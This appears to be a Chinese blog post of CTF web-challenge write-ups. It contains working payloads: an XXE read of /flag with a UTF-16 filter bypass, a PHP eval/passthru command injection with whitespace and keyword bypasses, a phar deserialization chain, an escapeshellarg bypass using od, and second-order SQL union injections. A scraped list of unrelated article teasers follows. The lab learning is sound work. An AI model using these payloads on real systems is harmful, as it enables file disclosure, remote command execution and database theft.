NSSCTF第12页(2)

[CSAWQual 2019]Unagi

是xxe注入,等找时间会专门去学一下

   XML外部实体(XXE)注入 - 知乎

【精选】XML注入学习-CSDN博客

【精选】XML注入_xml注入例子-CSDN博客

题目描述说flag在/flag下

发现有上传点,上传一句话木马试试

文件类型不行

看见提示说在链接处得到上传例子

You can check out the format example here

发现是xml文件格式

看到这里就有了整体的思路,就是要用xxe注入,上传xml格式文件

通用模板

 <?xml version="1.0"?>

<!DOCTYPE  ANY [ <!ENTITY entityex SYSTEM "file:///"etc/password"> ]>

下边接题中所给的user

因为给了flag文件的路径,所以直接用/flag

payload:

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
</users>

发现还是没绕过防火墙

看wp才知道要用utf-16编码

kali 命令-编码转换

iconv -f utf8 -t utf16 1.xml>2.xml

上传得到flag

[FSCTF 2023]EZ_eval 

rce,正则限制了好多

cp 命令详解_cp命令-CSDN博客

以为cp可以利用,但是发现不行

题目是eval,利用eval函数执行php代码

关键就是过滤了?号和空格还有eval执行时用了php的结束标志表示php代码到此为止了

可以用php短标签,有三种方式:

    ​<? echo '123';?> #前提是开启配置参数short_open_tags=on​​

    ​<script language="php">echo 'hello'; #不需要修改参数开关,但是只能在7.0以下可用。​​

    ​<% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用​​

这里利用到了一个没学过的函数passsthru()

PHP系统程序执行函数(system,passthru,exec)简单分析(附代码)-php教程-PHP中文网

php system执行shell,php命令执行函数–shell_exec()、passthru()、exec()、system()与防止命令执行漏洞函数..._周行文的博客-CSDN博客 

passthru

— 执行外部程序并且显示原始输出

void passthru ( string $command [, int &$return_var ] )

范例

<?phppassthru("ls");
?>

执行结果:

index.phptest.php

payload :

 /?word=​<script%09language="php">passthru("ta\c%09/f*");

用%09绕过空格,其它的我都试了一遍,没绕过

用\绕过tac的限制

*通配符绕过flag的关键字

得到flag

prize_p1

代码审计一下

 首先有getflag类,内容就是输出$FLAG,触发条件为__destruct;然后就是A类的文件写入和读取。最后就是对GET[0]的关键字判断,通过后反序列化GET[0]。

prize1 | bilala's blog  参考wp

 思路:

因为正则过滤了flag,所以无法直接触发getflag类;转眼去看A类,既然有任意内容写入+任意文件读取+类,优先考虑phar反序列化

那我们就先利用A类的写文件功能写入一个phar文件,其中phar文件的metadata部分设置为getflag类,其中phar文件的metadata部分设置为getflag类,这样phar://读取之后,其中的metadata部分的数据就被反序列化,getflag就生成了,再最后程序结束触发__destruct获取flag 

绕过preg_match,可以采用数组绕过的方法

这道题主要有两个考点————————>Phar反序列化 和强制GC销毁类

浅谈php GC(垃圾回收)机制及其与CTF的一点缘分 - 码农教程 

从一道题再看phar的利用-安全客 - 安全资讯平台 

关键绕过:

throw Error使得我们的类没有被销毁,所以如何触发__destruct方法成为了一个问题 

在写入文件时,我们需要带入的getflag类中还是包含了flag这个关键字,还是会被拦住。所以我们还需要想办法绕过这个关键字,同时还得保证phar://读取时仍可以反序列化其中的数据

强制GC触发__destruct

在PHP中,正常触发析构函数(__destruct)有三种方法:

①程序正常结束

②主动调用unset($aa)

③将原先指向类的变量取消对类的引用,即$aa = 其他值;

前两种很好理解,我们来讲讲第三种

PHP中的垃圾回收Garbage collection机制,利用引用计数和回收周期自动管理内存对象。当一个对象没有被引用时,PHP就会将其视为“垃圾”,这个”垃圾“会被回收,回收过程中就会触发析构函数

class bilala{

    public function __construct($count){

        $this->count = $count;

    }

    public function __destruct(){

        echo $this->count."destruct触发";

    }

}

$aa = new bilala(1);

//这里的bilala对象就不是垃圾,因为他被$aa所引用

new bilala(2);

//这里的就是垃圾(也就是匿名对象),new出来后没被引用,就会被当作垃圾回收(所以触发析构)

echo PHP_EOL."**********************************".PHP_EOL;

$aa = new bilala(3);

//这里将$aa指向了另一个对象的引用,所以原先的对象触发析构

echo PHP_EOL."**********************************".PHP_EOL;

//程序结束,触发析构

所以在这道题中,我们可以利用取消原本对getflag的引用,从而触发他的析构函数。 

操作如下,在phar的metadata中写入的内容为a:2:{i:0;O:7:"getflag":0:{}i:0;N;}

这样的话,当phar://反序列化其中的数据时(反序列化时是按顺序执行的),先反出a[0]的数据,也就是a[0]=getflag类,再接着反序列化时,又将a[0]设为了NULL,那就和上述所说的一致了,getflag类被取消了引用,所以会触发他的析构函数,从而获得flag

参考wp写的很详细,就不一一赘述了,PHP反序列化需要很深的功底才能学的好

010editor中修改,将对应的位由1改成0,然后保存 

 phar文件是修改成功了,但这个时候这个phar是处于损坏状态的,因为我们修改了前面的数据导致后面的签名对不上。这个时候,我们还需要手动计算出这个新phar文件的签名,查看PHP手册找到phar的签名格式

 我们刚刚的phar的签名标志位为0x0002,为SHA1签名,所以我们要计算的是出的字节是[-28:-8],用脚本计算我们新的phar文件的签名,并重新写入文件(也可以导出为新文件)

可以对phar.phar文件做以上这些处理,使其成为乱码,从而绕过关键字的检测。

gzip

直接在Linux中gzip压缩一下,然后通过POST[0]上传这个文件,再读取flag

脚本执行,得到flag

 [广东强网杯 2021 团队组]love_Pokemon

人傻了

 获得hint.php的条件就是先满足switch这个循环 当满足case为 bulbasaur! 的时候它才会去执行下面这个匹配函数

 

那么这个就是说输入的字符串不包含lv100,但是经过escapeshellarg()处理之后含有lv100

这里就是一个escapeshellarg() 的考点

escapeshellarg 的作用是把字符串转码为可以在 shell 命令里使用的参数。(escapeshellarg 和 escapeshellcmd 相似,主要看是否有引号)

那么这里就可以使用漏洞:escapeshellarg()这个函数在处理超过ASCII码范围的字符的时候会直接过滤掉该字符串

那么我们直接我们可以用%81去绕过,因为%81为不可见字符(当然还有其他的)

paylaod:myfavorite=bulbasaur!&levelup=lv%81100

得到提示:

 

想获得flag那我们就要去找输出口 显然shell_exec()就是我们需要的函数 

 

那么这里有个条件就是 post传入的dream的长度不能超过20字节

那我们直接传入dream=cat /FLAG 肯定是不行的,因为上边存在过滤

把flag(大小写)和空格一些字符都过滤了那么这里的重点就是如何绕过 

读取文件:

使用od命令

od 是一个在Unix和Linux系统上可用的命令行工具,用于以不同的格式显示文件的内容。它的名称代表"octal dump"(八进制转储),因为它最初的目的是以八进制形式显示文件的内容

如何绕过FLAG

这里用到了[]通配的形式,由于黑名单中有A何L这两个字符,因此构造F[B-Z][@-Z]G,这样就能匹配上ASCII表中的@到Z之间的所有字符

最终的payload:myfavorite=mewtwo&dream=od%09/F[B-Z][@-Z]G 

得到八进制

转换成10进制得到flag

 [October 2019]Twice SQL Injection

是sql二次注入

 SQL注入之二次注入_吃花椒地喵酱的博客-CSDN博客

 首先我们尝试注册,登录都使用sql语句

发现没任何卵用

 

发现用admin成功注册进到主页

 

注入 1' or 1=1# 

 

发现回显:

因此我们可以通过注册+登录,来注册恶意的用户名(就是将sql语句当用户名写入数据库中) 

先进行注册

用户名:1' union select database()#

密码:1(下边密码都是这个)

登录发现了数据库名

接着就是用这种方式进行注入

查表

1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'#

 

查列

1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#

 

查字段内容

 1' union select flag from flag#

得到flag

 

 

 

 

 

 

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/193111.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一文搞懂CAN总线协议

1.基础概念 CAN 是 Controller Area Network 的缩写&#xff08;以下称为 CAN&#xff09;&#xff0c;是 ISO 国际标准化的串行通信协议。在北美和西欧&#xff0c;CAN 总线协议已经成为汽车计算机控制系统和嵌入式工业控制局域网的标准总线&#xff0c;并且拥有以 CAN 为底层…

指针传2

几天没有写博客了&#xff0c;怎么说呢&#xff1f;这让我总感觉缺点什么&#xff0c;心里空落落的&#xff0c;你懂吧&#xff01; 好了&#xff0c;接下来开始我们今天的正题&#xff01; 1. ⼆级指针 我们先来看看代码&#xff1a; 首先创建了一个整型变量a&#xff0c;将…

在 HarmonyOS 上实现 ArkTS 与 H5 的交互

介绍 本篇 Codelab 主要介绍 H5 如何调用原生侧相关功能&#xff0c;并在回调中获取执行结果。以“获取通讯录”为示例分步讲解 JSBridge 桥接的实现。 相关概念 Web组件&#xff1a;提供具有网页显示能力的 Web 组件。 ohos.web.webview&#xff1a;提供 web 控制能力。 …

<C++> 优先级队列

目录 前言 一、priority_queue的使用 1. 成员函数 2. 例题 二、仿函数 三、模拟实现 1. 迭代器区间构造函数 && AdjustDown 2. pop 3. push && AdjustUp 4. top 5. size 6. empty 四、完整实现 总结 前言 优先级队列以及前面的双端队列基本上已经脱离了队列定…

Ansible 企业实战详解

一、ansible简介1. ansible是什么2.ansible的特点ansible的架构图 二、ansible 任务执行1、ansible 任务执行模式2、ansible 执行流程3、ansible 命令执行过程 二 .Ansible安装部署1.yum安装2.ansible 程序结构3、ansible配置文件查找顺序4、ansible配置文件5.ansible自动化配置…

electronjs入门-编辑器应用程序

我们将在Electron中创建一个新项目&#xff0c;如我们在第1章中所示&#xff0c;名为“编辑器”&#xff0c;我们将在下一章中使用它来创建编辑器&#xff1b;在index.js中&#xff0c;这是我们的主要过程&#xff1b;请记住为Electron软件包放置必要的依赖项&#xff1a; npm…

uniapp基础学习笔记01

文章目录 本博客根据黑马教程学习uniapp一、技术架构二、创建项目2.1 Hbuilder创建2.2 插件安装2.3 微信开发者工具配置与运行2.3.1 简单修改基础页面 2.4 pages.json和tabBar2.4.1 pages.json与tabBar配置2.4.2 案例 三、uniapp与原生开发的区别 本博客根据黑马教程学习uniapp…

安装node.js指定任意版本详解

Node.js是一种基于Chrome V8引擎的JavaScript运行时环境。它允许开发人员使用JavaScript编写服务器端和网络应用程序。与传统的JavaScript在浏览器中执行不同&#xff0c;Node.js使得JavaScript可以在服务器端运行。 Node.js具有以下特点&#xff1a; 1. 非阻塞式I/O&#xf…

Java设计模式-结构型模式-适配器模式

适配器模式 适配器模式应用场景案例类适配器模式对象适配器模式接口适配器模式适配器模式在源码中的使用 适配器模式 如图&#xff1a;国外插座标准和国内不同&#xff0c;要使用国内的充电器&#xff0c;就需要转接插头&#xff0c;转接插头就是起到适配器的作用 适配器模式&…

springboot国际化

1.环境配置 这里插入图片描述](https://img-blog.csdnimg.cn/024d6bc95623485eb6da4d998a892458.png) 2.文件配置 第一个默认环境 第二个英文环境 第三个中文环境 3.变量配置 调整语言 原理&#xff1a; 找到MessageSourceAutoConfiguration 中的 利用代碼的方式獲取国…

图论11-欧拉回路与欧拉路径+Hierholzer算法实现

文章目录 1 欧拉回路的概念2 欧拉回路的算法实现3 Hierholzer算法详解4 Hierholzer算法实现4.1 修改Graph&#xff0c;增加API4.2 Graph.java4.3 联通分量类4.4 欧拉回路类 1 欧拉回路的概念 2 欧拉回路的算法实现 private boolean hasEulerLoop(){CC cc new CC(G);if(cc.cou…

数字化转型时代,商业智能BI到底是什么?

据国际数据公司&#xff08;IDC&#xff09;预测&#xff0c;2025年时中国产生的数据量预计将达48.6ZB&#xff0c;在全球中的比例为27.8%。商业智能BI这一专为企业提供服务的数据类解决方案&#xff0c;仅2021年上半年在中国商业智能BI市场规模就达到了3.2亿美元&#xff0c;商…

java入门,从CK导一部分数据到mysql

一、需求 需要从生产环境ck数据库导数据到mysql&#xff0c;数据量大约100w条记录。 二、处理步骤 1、这里的关键词是生产库&#xff0c;第二就是100w条记录。所以处理数据的时候就要遵守一定的规范。首先将原数据库表进行备份&#xff0c;或者将需要导出的数据建一张新的表了…

Java绘图-第19章

Java绘图-第19章 1.Java绘图类 1.1Graphics类 Graphics类是用于绘制图形的抽象类&#xff0c;它是java.awt包中的一部分。Graphics类提供了各种方法&#xff0c;可以在图形上绘制各种形状、文本和图像。这些方法包括画线、画矩形、画椭圆、画弧、绘制图像等。 1.2Graphics2…

Android修行手册 - 阴影效果的几种实现以及一些特别注意点

点击跳转专栏>Unity3D特效百例点击跳转专栏>案例项目实战源码点击跳转专栏>游戏脚本-辅助自动化点击跳转专栏>Android控件全解手册点击跳转专栏>Scratch编程案例点击跳转>软考全系列点击跳转>蓝桥系列点击跳转>ChatGPT和AIGC &#x1f449;关于作者 专…

3D造型渲染软件DAZ Studio mac中文版介绍

DAZ Studio mac是一款3D造型和渲染软件&#xff0c;由 Daz 3D 公司开发。它允许用户创建、编辑、动画化并渲染精美的数字图像与动画。DAZ Studio 还提供了一个虚拟的3D艺术家工作室环境&#xff0c;让用户可以轻松地设置场景、布置角色和应用材质。 用户可以通过 DAZ Studio 中…

8.查询数据

一、单表查询 MySQL从数据表中查询数据的基本语为SELECT语。SELECT语的基本格式是: SELECT {* | <字段列名>} [ FROM <表 1>, <表 2>… [WHERE <表达式> [GROUP BY <group by definition> [HAVING <expression> [{<operator>…

032-从零搭建微服务-定时服务(一)

写在最前 如果这个项目让你有所收获&#xff0c;记得 Star 关注哦&#xff0c;这对我是非常不错的鼓励与支持。 源码地址&#xff08;后端&#xff09;&#xff1a;mingyue: &#x1f389; 基于 Spring Boot、Spring Cloud & Alibaba 的分布式微服务架构基础服务中心 源…

C语言不可不敲系列:跳水比赛排名问题

目录 1题干&#xff1a; 2解题思路&#xff1a; 3代码: 4运行结果: 5总结: 1题干&#xff1a; 5位运动员参加了10米台跳水比赛&#xff0c;有人让他们预测比赛结果 A选手说&#xff1a;B第二&#xff0c;我第三&#xff1b; B选手说&#xff1a;我第二&#xff0c;E第四&am…

十九章总结

Graphics类 Graphics类是所有图形上下文的抽象基类&#xff0c;封装了Java支持的基本绘图操作所需的状态信息&#xff0c;主要包括颜色、字体、画笔 Graphics2D类 Graphics2D类继承Graphics类实现功能更加强大的绘图操作集合 绘制图形 在项目中创建一个类&#xff0c;是该…